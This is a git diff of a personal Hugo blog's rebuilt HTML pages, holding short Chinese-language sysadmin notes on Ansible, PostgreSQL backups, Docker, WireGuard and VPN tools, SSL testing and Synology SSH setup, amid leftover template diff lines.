    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    + + + + - + diff --git a/public/post/another-way-to-keep-ansible-log/index.html b/public/post/another-way-to-keep-ansible-log/index.html index f2ef10f2..ae6d6bdf 100644 --- a/public/post/another-way-to-keep-ansible-log/index.html +++ b/public/post/another-way-to-keep-ansible-log/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] 為了保存log 用script 指令執行ansible / Another Way to Keep Ansible Log using script command | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 為了保存log 用script 指令執行ansible / Another Way to Keep Ansible Log using script command + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    之前為了能夠在執行完 ansible playbook 後,能有個log 可以看

    +
    + + + + +
    +

    [筆記] 為了保存log 用script 指令執行ansible / Another Way to Keep Ansible Log using script command

    +
    +
    +
    +
    +

    之前為了能夠在執行完 ansible playbook 後,能有個log 可以看

    所以在每次執行的時候,都要加入 tee 的指令

    @@ -141,8 +317,6 @@

    反正也沒有人關心結果怎樣 (攤手

    -

    -

    後來發現有個指令叫 script 可以完整紀錄指令執行期間的console 畫面變化(包含了ansi color!)

    剛剛測試了一下,發現的確是可以用,不過也沒感覺有特別好用的地方,就只是做個紀錄吧,說不定以後其他地方可以用得到

    @@ -154,34 +328,127 @@

    就真的跟console 的畫面一樣

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/ansible-run-task-depends-on-ipaddr/index.html b/public/post/ansible-run-task-depends-on-ipaddr/index.html index ae23238b..4c415173 100644 --- a/public/post/ansible-run-task-depends-on-ipaddr/index.html +++ b/public/post/ansible-run-task-depends-on-ipaddr/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [ansible] 用 ip 位置判斷是否要執行task /ansible run task depends on ipaddr | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [ansible] 用 ip 位置判斷是否要執行task /ansible run task depends on ipaddr + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + -

    因為工作上的需要,要修改client端的 /etc/environment 檔案

    + + +
    + +
    + + + + +
    +

    [ansible] 用 ip 位置判斷是否要執行task /ansible run task depends on ipaddr

    +
    +
    +
    +
    +

    因為工作上的需要,要修改client端的 /etc/environment 檔案

    在有權限使用proxy 服務的user的環境中,加入proxy 的設定

    @@ -136,8 +312,7 @@

    proxy server 那邊是採用ip 來控制,所以這邊也跟著用 ip 來判斷要不要修改 /etc/environment

    -

    -原本的想法是這樣

    +

    原本的想法是這樣

    在playbook中,有兩個 task

    @@ -236,34 +411,127 @@ hwaddress: f4:4d:30:45:ef:aa', host: pc120', ipv4: 192.168.1.120', user: [wany']

    都什麼年代了,還有半數以上的client 無法存取internet

    我實在是想不透啊..

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/ansible-selectattr-filter/index.html b/public/post/ansible-selectattr-filter/index.html index 349fd794..45fab63e 100644 --- a/public/post/ansible-selectattr-filter/index.html +++ b/public/post/ansible-selectattr-filter/index.html @@ -1,141 +1,315 @@ - - - - - - - - - - - [筆記] 還是 Ansible Selectattr | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 還是 Ansible Selectattr + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    在上一篇 Ansible how to use ‘list’ in yaml file

    +
    + + + + +
    +

    [筆記] 還是 Ansible Selectattr

    +
    +
    +
    +
    +

    在上一篇 Ansible how to use ‘list’ in yaml file

    有提到怎麼用 with_items / set_fact 來取得在yaml 檔案中的清單

    不過就是有點醜

    -

    -

    這兩天又修改了一下,不需要用 when 來指定條件,改成用 filter 來篩選資料

    將list整理成我們需要的「部份」資料就好,而不是所有資料都塞進來

    @@ -157,34 +331,127 @@

    再將篩選後的資料,用 map 去抓出 users 這個屬性,最後轉成 list

    這樣子就可以直接得到 users 了

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/ansible-selectattr-from-list-in-dictionary/index.html b/public/post/ansible-selectattr-from-list-in-dictionary/index.html index e19c7f7c..b93736d0 100644 --- a/public/post/ansible-selectattr-from-list-in-dictionary/index.html +++ b/public/post/ansible-selectattr-from-list-in-dictionary/index.html @@ -1,141 +1,315 @@ - - - - - - - - - - - [ansible] 引用事先定義好的yaml檔裡面的變數 - Ansible Selectattr From List in Dictionary file | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [ansible] 引用事先定義好的yaml檔裡面的變數 - Ansible Selectattr From List in Dictionary file + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    在ansible中,關於如何引用自定義的變數,一直讓我很頭疼

    +
    + + + + +
    +

    [ansible] 引用事先定義好的yaml檔裡面的變數 - Ansible Selectattr From List in Dictionary file

    +
    +
    +
    +
    +

    在ansible中,關於如何引用自定義的變數,一直讓我很頭疼

    尤其是有牽涉到從外部導入yaml檔案時,更是常常讓我不知道到底該怎麼抓出想要的變數

    這次還是用selectattr 來處理,希望下次能夠記得…

    -

    -

    首先是導入的yaml檔案,內容長這樣

    client_hosts:
    @@ -212,34 +386,127 @@
       when: item.ipv4 == ansible_default_ipv4.address
       with_items: "{{ iuser_list }}"
     
    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/ansible-selectattr/index.html b/public/post/ansible-selectattr/index.html index cbc70922..ba3d521c 100644 --- a/public/post/ansible-selectattr/index.html +++ b/public/post/ansible-selectattr/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] Ansible how to use 'list' in yaml file | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] Ansible how to use 'list' in yaml file + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    這幾天在玩ansible 時,碰到一個問題

    +
    + + + + +
    +

    [筆記] Ansible how to use 'list' in yaml file

    +
    +
    +
    +
    +

    這幾天在玩ansible 時,碰到一個問題

    假如我有個yaml檔作為資料來源,檔名是 abc.yml

    @@ -173,8 +349,6 @@ -

    -

    稍微整理一下,比較容易看

        "teams": [
    @@ -266,36 +440,129 @@
     

    後面的task再用這個 {{ aa_users }} 來跑,這樣子就 OK 了

    雖說很簡單,但是卡了我一整天吶…

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/awesome-all-in-one-vpn-server-streisand/index.html b/public/post/awesome-all-in-one-vpn-server-streisand/index.html new file mode 100644 index 00000000..8388c5e5 --- /dev/null +++ b/public/post/awesome-all-in-one-vpn-server-streisand/index.html @@ -0,0 +1,635 @@ + + + + + + + + [筆記] 超強的ALL-in-One VPN Server streisand / Awesome All in One Vpn Server Streisand + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    + +
    + + + + +
    +

    [筆記] 超強的ALL-in-One VPN Server streisand / Awesome All in One Vpn Server Streisand

    +
    +
    +
    +
    +

    最近上班閒得發慌,沒事就上 github 找看看有沒有什麼好玩的專案

    + +

    就不小心發現了這個 streisand

    + +

    https://github.com/StreisandEffect/streisand

    + +

    玩了一下,發現這根本就是終極的VPN Server solution ..

    + +

    包含了各種常見的VPN 套件,像是

    + +
      +
    • OpenConnect / Cisco AnyConnect
    • +
    • OpenVPN
    • +
    • Shadowsocks
    • +
    • WireGuard
    • +
    + +

    並且直接整合了幾間比較大的雲端主機服務商

    + +
      +
    • Amazon Web Services (AWS)
    • +
    • Microsoft Azure
    • +
    • Digital Ocean
    • +
    • Google Compute Engine (GCE)
    • +
    • Linode
    • +
    • Rackspace
    • +
    + +

    透過指令,可以簡單的在上述的空間建立一台新的 VPS (可惜沒有vultr)

    + +

    安裝步驟什麼的就不說了,因為整合了 ansible 所以過程很簡單

    + +

    而且在安裝完成後,會自動生成相關文件

    + +

    文件中包含了怎麼連線的方式,以及連線設定檔,甚至連 QRCODE 都幫你做好

    + +

    真的是超級方便的VPN工具!

    +
    +
    + + + + +
    + +
    + + Eric Chang + + + Written by: +
    +
    + + +

    塵世裡一個迷途小書僮

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    + + +comments powered by Disqus + + + + + + +
    +
    + + + + + +
    + + + +
    + + + + + + diff --git a/public/post/backup-restore-postgresql-with-pgbackrest/index.html b/public/post/backup-restore-postgresql-with-pgbackrest/index.html index fdb640b0..7a8f0a10 100644 --- a/public/post/backup-restore-postgresql-with-pgbackrest/index.html +++ b/public/post/backup-restore-postgresql-with-pgbackrest/index.html @@ -1,136 +1,310 @@ - - - - - - - - - - - [筆記] 用pbackrest 備份還原 postgresql / Backup Restore Postgresql With Pgbackrest | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 用pbackrest 備份還原 postgresql / Backup Restore Postgresql With Pgbackrest + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + -

    這兩天在測試pgbackrest ,簡單筆記一下測試狀況

    + + +
    + +
    + + + + +
    +

    [筆記] 用pbackrest 備份還原 postgresql / Backup Restore Postgresql With Pgbackrest

    +
    +
    +
    +
    +

    這兩天在測試pgbackrest ,簡單筆記一下測試狀況

    install

    @@ -394,34 +568,127 @@ postgres@hqdc034:/zp/database$

    很好, demo DB 有順利的還原回來了,先暫時測試到這邊。接下來要來玩postgresql on zfs

    後續如果想更深入測試 pgbackrest,可以試試看異機備份還原。

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/bencmark-with-external-internal-nvme-ssd-and-external-sata-ssd/index.html b/public/post/bencmark-with-external-internal-nvme-ssd-and-external-sata-ssd/index.html index 2b06137e..352a97e3 100644 --- a/public/post/bencmark-with-external-internal-nvme-ssd-and-external-sata-ssd/index.html +++ b/public/post/bencmark-with-external-internal-nvme-ssd-and-external-sata-ssd/index.html @@ -1,139 +1,314 @@ - - - - - - - - - - - [筆記] 測試 USB 3.1 Gen2 NVME SSD 外接盒 & 內建pci-e ssd & 外接SATA SSD / Bencmark With External Internal Nvme Ssd and External Sata Ssd | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 測試 USB 3.1 Gen2 NVME SSD 外接盒 & 內建pci-e ssd & 外接SATA SSD / Bencmark With External Internal Nvme Ssd and External Sata Ssd + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + -

    前幾天在淘寶上買了個 SSK 的USB 3.1 Gen2 (type-c) NVME SSD 外接盒 + + +

    + +
    + + + + +
    +

    [筆記] 測試 USB 3.1 Gen2 NVME SSD 外接盒 & 內建pci-e ssd & 外接SATA SSD / Bencmark With External Internal Nvme Ssd and External Sata Ssd

    +
    +
    +
    +
    +

    前幾天在淘寶上買了個 SSK 的USB 3.1 Gen2 (type-c) NVME SSD 外接盒 手邊也剛好有一條多的intel 600p nvme ssd 就順手來做個比較 目標是看看有沒有可能直接用外接的SSD來跑postgresql

    -

    -把600p 裝進去外接盒之後,就先來看一些簡單的資訊 +

    把600p 裝進去外接盒之後,就先來看一些簡單的資訊 不過沒想到用了幾個指令,都沒辦法辨別出正確的型號

    fdisk

    @@ -531,38 +706,131 @@ postgres@hqdc075:~$
  • 什麼原因會讓外接/內建 nvme ssd 和外接SATA SSD 在 restore db時,花了差不多時間,但是 tps 差異那麼大呢?
  • 這樣測試,似乎沒有真正測出外接nvme ssd 跑資料庫時候的效能?
  • +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/bookstack-docker/index.html b/public/post/bookstack-docker/index.html index c208e4d8..44de45d6 100644 --- a/public/post/bookstack-docker/index.html +++ b/public/post/bookstack-docker/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - Bookstack Docker | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + Bookstack Docker + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    Bookstack 是一套非常好用的線上”筆記”系統

    +
    + + + + +
    +

    Bookstack Docker

    +
    +
    +
    +
    +

    Bookstack 是一套非常好用的線上”筆記”系統

    他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

    @@ -146,8 +322,6 @@

    不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

    -

    -

    這個是專案的名稱

    solidnerd/docker-bookstack

    @@ -221,36 +395,129 @@ b8d74048eba1 mysql:5.7.21 "docker-entrypoint.s…&qu

    沒啥難度,簡單作一下紀錄

    後面再來看看能不能在一個地方新增 md 檔案,然後可以自動傳到 hexo/hugo/ghost 的目錄,接著自動生成靜態檔案出來…

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/change-preferred-language-in-firefox/index.html b/public/post/change-preferred-language-in-firefox/index.html index 55490bb5..ed98f514 100644 --- a/public/post/change-preferred-language-in-firefox/index.html +++ b/public/post/change-preferred-language-in-firefox/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    最近在測試metabase,記得幾個月前就有測試過

    +
    + + + + +
    +

    [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase

    +
    +
    +
    +
    +

    最近在測試metabase,記得幾個月前就有測試過

    但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

    @@ -136,8 +312,6 @@

    不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

    -

    -

    來看看這張圖 metabase的簡體中文界面

    @@ -193,38 +367,131 @@

    另外,關於繁體中文的部份,也到metabase的官方論壇去留言了

    就看看官方要不要處理這個問題…

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/change-timezone-in-docker/index.html b/public/post/change-timezone-in-docker/index.html index 67c04b4f..ad9e588d 100644 --- a/public/post/change-timezone-in-docker/index.html +++ b/public/post/change-timezone-in-docker/index.html @@ -1,139 +1,314 @@ - - - - - - - - - - - [筆記] 修改 docker 容器內的時區 - Change Timezone in Docker | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 修改 docker 容器內的時區 - Change Timezone in Docker + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + -

    最近一直在玩一些docker,不過老是會碰到歪果扔寫的東西,時區都不一致

    + + +
    + +
    + + + + +
    +

    [筆記] 修改 docker 容器內的時區 - Change Timezone in Docker

    +
    +
    +
    +
    +

    最近一直在玩一些docker,不過老是會碰到歪果扔寫的東西,時區都不一致

    有的用 UTC,有的用localtime,就是沒碰到用 Asia/Taipei 的….

    -

    -之前因為沒有要上線,所以這個問題可以當烏龜忽略過去

    +

    之前因為沒有要上線,所以這個問題可以當烏龜忽略過去

    不過測試了一陣子的librenms 打算正式上線了

    @@ -258,36 +433,129 @@ Tue May 21 17:39:48 CST 2019

    OK ,果然沒有問題了!

    雖然是小小的”” ,還是要特別注意啊!

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/command_to_test_main_ssl/index.html b/public/post/command_to_test_main_ssl/index.html index fef98a8f..30267b53 100644 --- a/public/post/command_to_test_main_ssl/index.html +++ b/public/post/command_to_test_main_ssl/index.html @@ -1,135 +1,310 @@ - - - - - - - - - - - [筆記] 測試mail server 的SSL憑證的指令 Command to test mailserver SSL | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 測試mail server 的SSL憑證的指令 Command to test mailserver SSL + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    今天老闆出國,發slack說手機不能寄信,看了一下,似乎是因為用GMAIL的APP來收信

    +
    + + + + +
    +

    [筆記] 測試mail server 的SSL憑證的指令 Command to test mailserver SSL

    +
    +
    +
    +
    +

    今天老闆出國,發slack說手機不能寄信,看了一下,似乎是因為用GMAIL的APP來收信

    然後google 不知道跟人家改了什麼,結果不接受原本的認證了… WTF ….

    然後,這問題應該很久了,結果現在才在講 ….

    -

    -底下都是用linux 主機來進行測試

    +

    底下都是用linux 主機來進行測試

    windows環境應該也可以,只是要自己去安裝 openssl 軟體

    @@ -340,25 +515,124 @@ openssl s_client -showcerts -connect mail.example.com:465

    不過因為我沒開這個port ,所以就不測試了

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/copy_role_in_pgsql/index.html b/public/post/copy_role_in_pgsql/index.html index db6e4d72..a58f22d2 100644 --- a/public/post/copy_role_in_pgsql/index.html +++ b/public/post/copy_role_in_pgsql/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者 | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者 + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    因為工作上的需求,有個資料庫需要開放給不同team的人去存取

    +
    + + + + +
    +

    PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者

    +
    +
    +
    +
    +

    因為工作上的需求,有個資料庫需要開放給不同team的人去存取

    雖然都是在同一台機器上的同一個資料庫

    @@ -136,8 +312,6 @@

    這樣萬一出事,會比較好抓兇手??

    -

    -

    總之呢,這個需求一直反覆出現

    每次開發不同的AP,就要求一個不同的代號,實在有點煩

    @@ -153,36 +327,129 @@ GRANT a TO b;

    可以帶入script ,用script 或者用ansible去跑就好了

    省得每次都要在那邊手動改來改去..

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/create-portable-vim-environment/index.html b/public/post/create-portable-vim-environment/index.html index ce4c692c..f601ed7e 100644 --- a/public/post/create-portable-vim-environment/index.html +++ b/public/post/create-portable-vim-environment/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] 建立一個帶著走的 VIM 環境 Creating portable Vim environment | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 建立一個帶著走的 VIM 環境 Creating portable Vim environment + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    因為工作的關係,現在很多時間都花在VIM的操作上

    +
    + + + + +
    +

    [筆記] 建立一個帶著走的 VIM 環境 Creating portable Vim environment

    +
    +
    +
    +
    +

    因為工作的關係,現在很多時間都花在VIM的操作上

    所以之前花了滿多時間,調整出一個適合自己的VIM環境

    @@ -136,8 +312,6 @@

    然後每到一台新的機器,就要去clone 下來

    -

    -

    BUT (對,就是這個BUT)

    手邊的機器有滿多不能直接連接internet的(酷吧,都什麼年代了,還鎖internet)

    @@ -168,34 +342,127 @@

    然後就把這個檔案丟到看哪一台server上,然後在其他機器上面去下載回來

    就可以有完全一樣的 vim 環境了,超級方便的!

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/do-no-use-10-0-0-0-private-ipaddr-in-gcp/index.html b/public/post/do-no-use-10-0-0-0-private-ipaddr-in-gcp/index.html index bd5f0834..c2a9fa6f 100644 --- a/public/post/do-no-use-10-0-0-0-private-ipaddr-in-gcp/index.html +++ b/public/post/do-no-use-10-0-0-0-private-ipaddr-in-gcp/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] 在gcp 中用wireguard建立VPN時,不要用 10.0.0.0/16 網段/Do No Use 10 0 0 0 Private Ipaddr in GCP | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 在gcp 中用wireguard建立VPN時,不要用 10.0.0.0/16 網段/Do No Use 10 0 0 0 Private Ipaddr in GCP + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    最近一直在玩 wireguard ,先前把各個分公司和總部的VPN 改用 wireguard 建立

    +
    + + + + +
    +

    [筆記] 在gcp 中用wireguard建立VPN時,不要用 10.0.0.0/16 網段/Do No Use 10 0 0 0 Private Ipaddr in GCP

    +
    +
    +
    +
    +

    最近一直在玩 wireguard ,先前把各個分公司和總部的VPN 改用 wireguard 建立

    想說再打個VPN tunnel 來當跳板連 ptt 好了

    @@ -142,8 +318,6 @@

    反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態

    -

    -

    GCP的申請、設定就不多說了

    這次碰到的怪異現象是當wireguard 都已經設定好,client 也都連上了之後

    @@ -221,36 +395,129 @@ traceroute to term.ptt.cc (104.31.231.9), 30 hops max, 60 byte packets

    果然是走wireguard (192.168.10.1) 出去 ,跳板成功!

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/enable-synology-public-ssh/index.html b/public/post/enable-synology-public-ssh/index.html index 420e18d8..3e971ce6 100644 --- a/public/post/enable-synology-public-ssh/index.html +++ b/public/post/enable-synology-public-ssh/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - 筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入 | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + 筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入 + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file +

    + + + + +
    +

    筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

    +
    +
    +
    +
    +

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file 之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 @@ -143,8 +319,6 @@

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet 所以導致明明檔案就在那邊,但是要取得就是很麻煩

    -

    -

    Dev_A upload to google drive —> Dev_B Download from google drive —> Dev_B scp download file to me —> I upload to server.

    有沒有?是不是很stupid (講話一定要烙英文)

    @@ -235,40 +409,133 @@ admin@storage:~$

    確認免密碼登入無誤了!

    +
    +
    + + - + +
    - +
